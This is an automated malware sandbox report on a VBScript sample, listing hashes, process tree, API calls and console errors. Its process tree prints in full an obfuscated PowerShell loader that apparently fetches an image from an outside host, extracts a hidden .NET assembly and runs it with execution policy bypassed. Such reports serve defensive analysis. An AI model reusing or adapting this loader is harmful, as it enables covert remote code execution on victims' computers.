popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

10dsb.vbs

Generic Malware Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 2, 2023, 10:30 a.m. Nov. 2, 2023, 10:32 a.m.
Size 92.9KB
Type UTF-8 Unicode text, with very long lines, with CRLF line terminators
MD5 d58c876cdf890b6b626d3018a865bbbc
SHA256 dbcc2bdbb056c4115d482211bf96320a1e2688bf33eaaf859a1e44fd75da7ffe
CRC32 125B7671
ssdeep 1536:4TDDDDDN13DDDDDNnDDDDDLDDDDDdDDDDDQDDDDDDDDDDD0DDDDDXDDDDDZ:wz
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\10dsb.vbs

    2576

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡ÃKuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKuC8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQBhzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKudwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUbP‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGUzUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUbP‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKuD4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKuZQzUbP‡ÃKugzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCszUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuLgBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuYgBhzUbP‡ÃKuHMzUbP‡ÃKuZQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuTzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZwB0zUbP‡ÃKuGgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBzzUbP‡ÃKuHQzUbP‡ÃKuYQByzUbP‡ÃKuHQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBTzUbP‡ÃKuHUzUbP‡ÃKuYgBzzUbP‡ÃKuHQzUbP‡ÃKucgBpzUbP‡ÃKuG4zUbP‡ÃKuZwzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuQwBvzUbP‡ÃKuG4zUbP‡ÃKudgBlzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBdzUbP‡ÃKuDozUbP‡ÃKuOgBGzUbP‡ÃKuHIzUbP‡ÃKubwBtzUbP‡ÃKuEIzUbP‡ÃKuYQBzzUbP‡ÃKuGUzUbP‡ÃKuNgzUbP‡ÃKu0zUbP‡ÃKuFMzUbP‡ÃKudzUbP‡ÃKuByzUbP‡ÃKuGkzUbP‡ÃKubgBnzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGwzUbP‡ÃKubwBhzUbP‡ÃKuGQzUbP‡ÃKuZQBkzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuUgBlzUbP‡ÃKuGYzUbP‡ÃKubzUbP‡ÃKuBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBpzUbP‡ÃKuG8zUbP‡ÃKubgzUbP‡ÃKuuzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQBdzUbP‡ÃKuDozUbP‡ÃKuOgBMzUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuB0zUbP‡ÃKuHkzUbP‡ÃKuczUbP‡ÃKuBlzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKubzUbP‡ÃKuBvzUbP‡ÃKuGEzUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuGQzUbP‡ÃKuQQBzzUbP‡ÃKuHMzUbP‡ÃKuZQBtzUbP‡ÃKuGIzUbP‡ÃKubzUbP‡ÃKuB5zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuVzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCczUbP‡ÃKuRgBpzUbP‡ÃKuGIzUbP‡ÃKuZQByzUbP‡ÃKuC4zUbP‡ÃKuSzUbP‡ÃKuBvzUbP‡ÃKuG0zUbP‡ÃKuZQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuG0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKudzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuuzUbP‡ÃKuEczUbP‡ÃKuZQB0zUbP‡ÃKuE0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCgzUbP‡ÃKuJwBWzUbP‡ÃKuEEzUbP‡ÃKuSQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKudgBvzUbP‡ÃKuGszUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKubgB1zUbP‡ÃKuGwzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuWwBvzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBbzUbP‡ÃKuF0zUbP‡ÃKuXQzUbP‡ÃKugzUbP‡ÃKuCgzUbP‡ÃKuJwBkzUbP‡ÃKuEgzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKuwzUbP‡ÃKuEwzUbP‡ÃKubQBWzUbP‡ÃKuHUzUbP‡ÃKuYgzUbP‡ÃKuzzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKueQBZzUbP‡ÃKuFYzUbP‡ÃKuYwzUbP‡ÃKuxzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuBNzUbP‡ÃKuHkzUbP‡ÃKuTQBTzUbP‡ÃKuDkzUbP‡ÃKubzUbP‡ÃKuBizUbP‡ÃKuEczUbP‡ÃKubzUbP‡ÃKuBtzUbP‡ÃKuEwzUbP‡ÃKuegBJzUbP‡ÃKuHgzUbP‡ÃKuTQBpzUbP‡ÃKuDQzUbP‡ÃKuegBNzUbP‡ÃKuFQzUbP‡ÃKuRQB1zUbP‡ÃKuE4zUbP‡ÃKuVzUbP‡ÃKuBjzUbP‡ÃKuHgzUbP‡ÃKuTzUbP‡ÃKuBqzUbP‡ÃKuGMzUbP‡ÃKudwBNzUbP‡ÃKuFMzUbP‡ÃKuOzUbP‡ÃKuB2zUbP‡ÃKuE8zUbP‡ÃKubgBCzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuZzUbP‡ÃKuBHzUbP‡ÃKuGczUbP‡ÃKuPQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuDIzUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuMQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuQwzUbP‡ÃKu6zUbP‡ÃKuFwzUbP‡ÃKuVwBpzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKucwBczUbP‡ÃKuFQzUbP‡ÃKuZQBtzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuXzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuKQzUbP‡ÃKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2656

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "FromBase64String" with "1" argument(s): "Invalid character i
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n a Base-64 string."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:8352
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwz
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: UbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡Ã
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: KuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzU
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: bP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKu
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: C8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQB
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: hzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃK
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: uzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKu
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: dwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: ‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlz
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: UbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBt
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: zUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUb
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: P‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzU
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: bP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKu
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: IzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGU
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: zUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡Ã
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: KuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: ‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUb
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: P‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡Ã
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: KuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUb
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: P‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuH
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: QzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKu
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: GkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP
